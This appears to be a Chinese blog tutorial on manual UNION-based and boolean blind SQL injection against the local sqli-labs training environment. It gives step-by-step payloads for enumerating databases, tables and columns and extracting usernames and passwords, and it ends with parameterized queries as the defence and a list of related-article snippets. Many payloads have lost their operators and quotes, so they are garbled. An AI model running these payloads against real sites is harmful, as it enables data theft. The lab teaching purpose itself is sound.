当前位置: 首页 > article >正文

联合注入及布尔型盲注基础流程(手注sqli-labs-master)

SQL 注入的核心原理一句话概括攻击者通过在输入框或 URL 参数中输入恶意的 SQL 代码让数据库“误以为”这是正常的指令并执行从而泄露数据。联合注入(UNION-based Injection)联合注入是 SQL 注入中最常见、也最容易理解的一种攻击方式。它的核心武器是 SQL 中的 UNION 操作符。UNION 的作用UNION 的作用是把两个 SELECT 查询的结果集合并在一起。第一步判断注入点与闭合方式?id1 查看网页反馈存在注入第二步猜解列数 (ORDER BY)普通用途让结果集按某种顺序显示。注入用途ORDER BY 是探测“列数”的神器。只有先确定了列数你才能正确地使用 UNION SELECT 进行后续的攻击。测试?id1 ORDER BY 4 (页面不正常) -- - 说明没有4 列?id1 ORDER BY 3 (页面正常) -- - 说明至少3 列第三步脱库 (获取数据)目标利用确定的回显位把数据库里的敏感信息“换”出来。这是最后也是最爽的一步通常分为三个层级1.查库名把回显位的数字换成 database()2.查表名查询 information_schema.tables?id-1 UNION SELECT 1,2, group_concat(table_name) form information_schema.columns WHERE table_schemadatabase() --group_concat:“把查出来的几十张表名从‘多行’压缩成‘一行’用逗号隔开。3.查字段名?id-1 UNION SELECT 1,2 group_concat(column_name) from information_schema.columns WHERE table_nameusers --4.查具体数据查到字段比如 username, password后直接查询数据。?id-1 UNION SELECT 1,2group_concat(username,0x3a, password) FROM users --联合注入产生的三个必要条件1.代码层面的“不设防”字符串拼接后端代码在写SQL语句时偷懒直接把用户输入的参数“粘”进了查询语句里而不是使用安全的“参数化查询”预编译。2.攻击层面的“篡改”恶意输入因为代码没做过滤攻击者输入的不是普通的数字或文字而是SQL指令片段比如 UNION SELECT ...。当这些片段被拼接到原语句中时原本完整的SQL语句结构被破坏攻击者注入的“毒指令”成功闭合了引号成为了SQL语句的一部分。3.结果层面的“回显”数据合并这是联合注入区别于其他注入的关键。数据库执行了被篡改后的语句利用 UNION 操作符的特性把攻击者查询的结果比如密码表和原本查询的结果比如商品信息合并在一起并且直接显示在了网页上。预防参数化查询通过“代码与数据分离”剥夺了攻击者修改 SQL 逻辑布尔盲注和执行系统命令时间盲注的权力。在布尔盲注中它让攻击者的逻辑判断变成了死文本。在时间盲注中它让攻击者的延时函数变成了死字符。所以不管攻击者想玩什么花样联合、盲注、堆叠注入只要用了参数化查询所有的恶意输入都会被“关进盒子”里变成无害的数据这才是真正的“降维打击”。布尔型盲注特点看不见数据库内容但是可以通过提出逻辑真假问题来猜数据库的内容在实操布尔型盲注先要知道ascii码数字0-948-57字符ASCII 码 (十进制)048149250351452553654755856957大写字母 A - Z78-90字符ASCII 码 (十进制)字符ASCII 码 (十进制)A65N78B66O79C67P80D68Q81E69R82F70S83G71T84H72U85I73V86J74W87K75X88L76Y89M77Z90小写字母 a - z97-122小写和大写字母差了32字符ASCII 码 (十进制)字符ASCII 码 (十进制)a97n110b98o111c99p112d100q113e101r114f102s115g103t116h104u117i105v118j106w119k107x120l108y121m109z122第一阶段定真假确认漏洞?id1来测试页面真假发现显示了You are in...... (真)?id1通过闭合发现内容是空白假第二阶段爆库表 reconnaissance目标拿到数据库名、表名。核心工具LENGTH()测长度和 SUBSTR()猜字符。. 爆当前数据库名1.爆库1.猜长度?id1 AND LENGTH(DATABASE()) 10 --不断修改数字直到页面变“真”确定长度是 4。?id1 AND LENGTH(DATABASE()) 5 -- 这属于二分法区大概区间之后不断缩小范围区间一共是8个字符2.猜字符第一个字符115s第二个字符101e第三个字符是99c第四个字符是117u第五个字符是114r第六个字符是105i第七个字符是116t第八个字符是121y 拼接起来就是security2.猜列表1.先猜长度LIMIT 的格式是LIMIT [起始位置], [获取数量]前面的 0代表从第几行开始就像书的页码0 是第一页。后面的 1代表拿几行就像一次只读一页。http://127.0.0.1/sqli-labs-master/Less-8/?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 3,1)) 5 --2.猜字母http://127.0.0.1/sqli-labs-master/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 3,1),1,1)) 117 --117u115s101e114r115s 最后这个表名是users3.猜字段名1.猜长度http://127.0.0.1/sqli-labs-master/Less-8/?id1 and length ((select column_name from information_schema.columns where table_nameusers limit 3,1)) 4 --2.猜字段名http://127.0.0.1/sqli-labs-master/Less-8/?id1 and ascii (substr((select column_name from information_schema.columns where table_nameusers limit 3,1),1,1)) 117 --117之后的流程都是相仿的都是1.先确认长度2.在猜ascii字符4.猜解密码字段1.在开始猜密码之前先确定密码有多长比如 MD5 通常是 32 位。?id1 and length((select password from users limit 0,1)) 30 --2.猜解密码的具体内容逐字爆破?id1 and ascii(substr((select password from users limit 0,1),1,1)) 100 --参数详解select password from users我们要查的数据源。limit 0,1锁定第 1 个用户如果是第 2 个用户改成 1,1。substr(..., 1, 1)截取密码的第 1 个字符猜第 2 个字符就改成 ,2,1)。ascii(...) 100判断这个字符的 ASCII 码是否大于 100比如 f 是 102a 是 97。同时猜解用户名可选如果你想顺便把用户名也猜出来逻辑是一样的只是把 password 换成 username。猜第 1 个用户的用户名第 1 位?id1 and ascii(substr((select username from users limit 0,1),1,1)) 100 --

相关文章:

联合注入及布尔型盲注基础流程(手注sqli-labs-master)

SQL 注入的核心原理:一句话概括 攻击者通过在输入框或 URL 参数中,输入恶意的 SQL 代码,让数据库“误以为”这是正常的指令并执行,从而泄露数据。 联合注入(UNION-based Injection) 联合注入是 SQL 注入中最常见、也最容易理解…...

亚马逊,TEMU平台针对电动泵美国站的UL778标准

‌UL778是电动泵的安全标准‌,主要用于规范在日常使用场景下的潜水或非潜水电泵的安全性能,确保产品在北美市场的准入合规 。一、适用产品范围以下类型的电泵通常适用于UL778标准:‌潜水泵‌:电机可完全浸入水中运行的泵。‌非潜水…...

深入解析POODLE漏洞:SSL3.0的CBC模式安全隐患与防御策略

1. POODLE漏洞的前世今生 第一次听说POODLE漏洞时,我还以为是什么可爱的狗狗品种。后来才发现,这个听起来萌萌的名字背后,隐藏着一个足以让整个互联网颤抖的安全威胁。POODLE全称Padding Oracle On Downgraded Legacy Encryption,…...

YOLO+SAM微调做工业缺陷分割:年省28万的实战案例

YOLOSAM微调做工业缺陷分割:年省28万的实战案例一、问题 PCB质检标注员手动勾勒缺陷边界8分钟/张。YOLO框不准,SAM水土不服。 二、方案 LoRA微调SAM:只改2%参数,速度3倍,显存降到8GB。 DiceFocal损失:边界贴…...

从体素到三维模型:解析Volumetric Method在复杂场景重建中的核心算法

1. 什么是Volumetric Method?从体素到三维世界的魔法 第一次接触三维重建时,我被那些从照片变成立体模型的演示惊呆了。后来才知道,这背后藏着一种叫Volumetric Method的技术,它就像用乐高积木搭建世界——把空间切成无数小方块&a…...

AI 编程盛行的时代,为什么 “『DC- WFW』” 仍然具有必要性?了

这&#xff0c;是一个采用C精灵库编写的程序&#xff0c;它画了一幅漂亮的图形&#xff1a; 复制代码 #include "sprites.h" //包含C精灵库 Sprite turtle; //建立角色叫turtle void draw(int d){for(int i0;i<5;i)turtle.fd(d).left(72); } int main(){ …...

YOLO+SAM工业缺陷检测:从理论到落地的完整方案

YOLOSAM工业缺陷检测&#xff1a;从理论到落地的完整方案一、痛点 PCB质检中&#xff0c;人工标注缺陷边界8分钟/张。YOLO框不准&#xff0c;SAM对工业缺陷水土不服。 二、解决方案 LoRA微调SAM&#xff1a;只改2%参数&#xff0c;速度3倍提升&#xff0c;显存24GB→8GB。 Dice…...

银河麒麟V10 SP1安全基线配置踩坑记:为什么pam_wheel.so的group=wheel参数不生效?

银河麒麟V10 SP1安全基线配置实战&#xff1a;pam_wheel.so参数差异深度解析 第一次在银河麒麟V10 SP1服务器上配置安全基线时&#xff0c;我遇到了一个令人费解的问题。按照行业标准做法&#xff0c;我在/etc/pam.d/su文件中添加了auth required pam_wheel.so groupwheel配置&…...

EnCase vs FTK vs 取证大师:三大取证工具实战横评与选型指南(2024版)

EnCase vs FTK vs 取证大师&#xff1a;2024年电子取证工具深度横评与实战选型指南 当一起涉及企业数据泄露的案件摆在面前时&#xff0c;取证专家小李面对着三台装载不同软件的设备犹豫不决——EnCase的专业深度、FTK的全面覆盖&#xff0c;还是取证大师的本土化优势&#xf…...

轴向磁通电机仿真避坑指南:ANSYS Maxwell 3D建模时气隙与对称性的7个关键设置

轴向磁通电机3D仿真进阶指南&#xff1a;从参数校准到高效求解的实战技巧 轴向磁通电机因其紧凑结构和高效能特性&#xff0c;正在新能源车、航空航天等领域获得广泛应用。但不同于传统径向电机&#xff0c;其三维电磁场分布的复杂性使得仿真过程常成为工程师的"噩梦"…...

4重防护打造微信记录安全备份:开源工具实战指南

4重防护打造微信记录安全备份&#xff1a;开源工具实战指南 【免费下载链接】WeChatExporter 一个可以快速导出、查看你的微信聊天记录的工具 项目地址: https://gitcode.com/gh_mirrors/wec/WeChatExporter 场景痛点&#xff1a;数字记忆的脆弱防线 你是否曾在手机突然…...

大模型幻觉问题:RAG检索增强与约束生成解决方案

GPTQ 和 AWQ 都是量化技术&#xff0c;它们有什么区别&#xff1f;在什么场景下选哪种&#xff1f; GPTQ&#xff1a;是一种基于二阶信息&#xff08;海森矩阵&#xff09;的层级量化方法&#xff0c;它通过计算权重对误差的敏感度&#xff0c;优先保留重要的权重。侧重于整体权…...

第十三节:React Ink——用React驱动终端UI

知识图谱定位:上一节我们拆解了 Task 系统的七种任务类型、五种状态、分布式锁、磁盘安全输出和自动梦境机制——这些是 Agent 在"后台"默默运转的基础设施。但无论后台多强大,用户看不到就白搭。Claude Code 没有选择传统的 console.log 逐行打印,而是用 React 在…...

​​90%嵌入式工程师必踩坑之volatile关键字,学会它轻松搞定面试官!!!

若想搞定什么是volatile关键字&#xff0c;首先要清楚CPU的变量读取规则&#xff1a;CPU 的运算单元&#xff08;ALU&#xff09;无法直接对内存中的变量做运算&#xff0c;内存里的变量&#xff08;或外设寄存器中的变量&#xff09;必须先加载到 CPU 内部的通用寄存器&#x…...

数据开发者的AI转型:大模型应用实录

1️⃣需求解析&辅助研发 这个功能其实很有意思&#xff0c;我们迭代了两期。 第一期&#xff0c;其实这个功能一开始设计的比较天马行空&#xff0c;就是直接给一个需求进来&#xff0c;然后直接给你开发好。但是研发了半个月叫停了&#xff0c;发现模型根本理解不了整个需…...

避坑指南:ABB机器人PC SDK开发中,网络扫描(NetworkScanner)为何总为空?

ABB机器人PC SDK网络扫描故障深度排查指南 当你在C#项目中调用NetworkScanner.Scan()方法时&#xff0c;那个本该充满控制器信息的ControllerInfoCollection却固执地保持空白——这种挫败感每个ABB机器人开发者都深有体会。本文将从协议栈底层到网络拓扑&#xff0c;系统性地拆…...

从理论到代码:深入理解OpenCV中NMSBoxes的双重过滤机制

从理论到代码&#xff1a;深入理解OpenCV中NMSBoxes的双重过滤机制 在目标检测任务中&#xff0c;非极大值抑制&#xff08;NMS&#xff09;是后处理环节的核心技术之一。OpenCV提供的cv2.dnn.NMSBoxes()函数通过双重阈值过滤机制实现了高效的目标框筛选&#xff0c;本文将深入…...

保姆级避坑指南:在只有一台能上网的服务器上,搞定Proxmox VE 7.0三节点集群和Ceph存储

混合网络环境下Proxmox VE集群与Ceph存储的实战部署指南 在企业的IT基础设施部署中&#xff0c;网络环境往往存在各种限制。特别是在安全要求较高的场景下&#xff0c;服务器节点可能被划分为不同的网络区域&#xff0c;仅有少数节点能够直接访问互联网。这种混合网络环境给Pro…...

算法岗正在分化:谁在做模型谁在做应用

你这个问题&#xff0c;我先给个结论&#xff0c;一个可能会让你有点意外但绝对是现实的结论&#xff1a;你遇到的情况&#xff0c;不是特例&#xff0c;而是正在迅速成为行业的主流和新常态。你实习干的活&#xff0c;很有可能就是未来几年大多数“AI工程师”或者“算法工程师…...

“INMS: Memory Sharing for Large Language Model based Agents“ 论文笔记誓

1.概述在人工智能快速发展的今天&#xff0c;AI不再仅仅是回答问题的聊天机器人&#xff0c;而是正在演变为能够主动完成复杂任务的智能代理。OpenAI的Codex CLI就是这一趋势的典型代表——一个跨平台的本地软件代理&#xff0c;能够在用户的机器上安全高效地生成高质量的软件变…...

C#的[DoesNotReturn]和[DoesNotReturnIf]:帮助流分析的特性

C#的[DoesNotReturn]和[DoesNotReturnIf]特性是编译器流分析的重要工具&#xff0c;它们通过显式标记方法或代码块的终止行为&#xff0c;帮助开发者编写更安全、更高效的代码。这些特性在异常处理、条件终止等场景中尤为实用&#xff0c;能够显著提升代码的可读性和静态分析的…...

SDD基于规范编程-OpenSpec及SuperPowers沙

智能体时代的代码范式转移与 C# 的战略转型 传统的 C# 开发模式&#xff0c;即所谓的“工程导向型”开发&#xff0c;要求开发者创建一个复杂的项目结构&#xff0c;包括项目文件&#xff08;.csproj&#xff09;、解决方案文件&#xff08;.sln&#xff09;、属性设置以及依赖…...

自编码器在图像处理中的5个隐藏用法:从降噪到异常检测

自编码器在图像处理中的5个隐藏用法&#xff1a;从降噪到异常检测 当大多数人提起自编码器时&#xff0c;第一反应往往是"数据压缩"。确实&#xff0c;这个由Geoffrey Hinton团队在2006年重新发掘的技术&#xff0c;最初被广泛应用于降维和特征提取。但如果你只把自编…...

3步释放20GB空间:DriverStore Explorer的系统驱动优化方案

3步释放20GB空间&#xff1a;DriverStore Explorer的系统驱动优化方案 【免费下载链接】DriverStoreExplorer Driver Store Explorer 项目地址: https://gitcode.com/gh_mirrors/dr/DriverStoreExplorer DriverStore Explorer&#xff08;简称RAPR&#xff09;是一款轻量…...

如何用Dify零代码打造专属AI知识管家:从资料整理到智能对话全指南

1. 为什么你需要一个AI知识管家&#xff1f; 你有没有遇到过这种情况&#xff1a;电脑里存了几百份工作文档&#xff0c;手机相册堆满了截图&#xff0c;微信收藏夹塞得满满当当&#xff0c;但真要找某个关键信息时却像大海捞针&#xff1f;我以前经常被这个问题困扰&#xff0…...

从零搭建一个RAG应用:我为什么最终放弃了ChromaDB而选择了Milvus?

从零搭建一个RAG应用&#xff1a;我为什么最终放弃了ChromaDB而选择了Milvus&#xff1f; 去年夏天&#xff0c;当我接到为企业内部构建文档知识库系统的任务时&#xff0c;本以为选择向量数据库会是整个项目中最简单的决策。毕竟ChromaDB在开发者社区的口碑极佳&#xff0c;文…...

用K230开发板给AI模型拍训练集照片?一个物理按键搞定(附Python源码)

用K230开发板打造智能训练集采集器&#xff1a;从硬件连接到Python实战 在AI模型训练过程中&#xff0c;高质量的数据集往往比算法本身更重要。但对于初学者和小型项目来说&#xff0c;专业的数据采集设备成本高昂&#xff0c;而普通摄像头又缺乏灵活性和可编程控制。K230开发板…...

Symfony 安全日志集成:TokenProcessor与SwitchUserTokenProcessor完全指南

Symfony 安全日志集成&#xff1a;TokenProcessor与SwitchUserTokenProcessor完全指南 【免费下载链接】monolog-bridge Provides integration for Monolog with various Symfony components 项目地址: https://gitcode.com/gh_mirrors/mo/monolog-bridge 在Symfony应用…...

Kubernetes集群的自动化运维实践

Kubernetes集群的自动化运维实践 &#x1f525; 硬核开场 各位技术老铁&#xff0c;今天咱们聊聊Kubernetes集群的自动化运维实践。别跟我扯那些理论&#xff0c;直接上干货&#xff01;在云原生时代&#xff0c;Kubernetes已经成为容器编排的事实标准&#xff0c;但随着集群规…...

Ubuntu20.04下Intel RealSense设备开发环境搭建:从libRealsense SDK 2.0到ROS Wrapper全流程指南

1. 环境准备与基础概念 在Ubuntu 20.04上搭建Intel RealSense开发环境前&#xff0c;我们需要明确几个关键概念。librealsense SDK 2.0是Intel官方提供的底层驱动库&#xff0c;负责与硬件直接通信&#xff1b;而ROS Wrapper则是将SDK功能封装成ROS节点&#xff0c;让深度相机数…...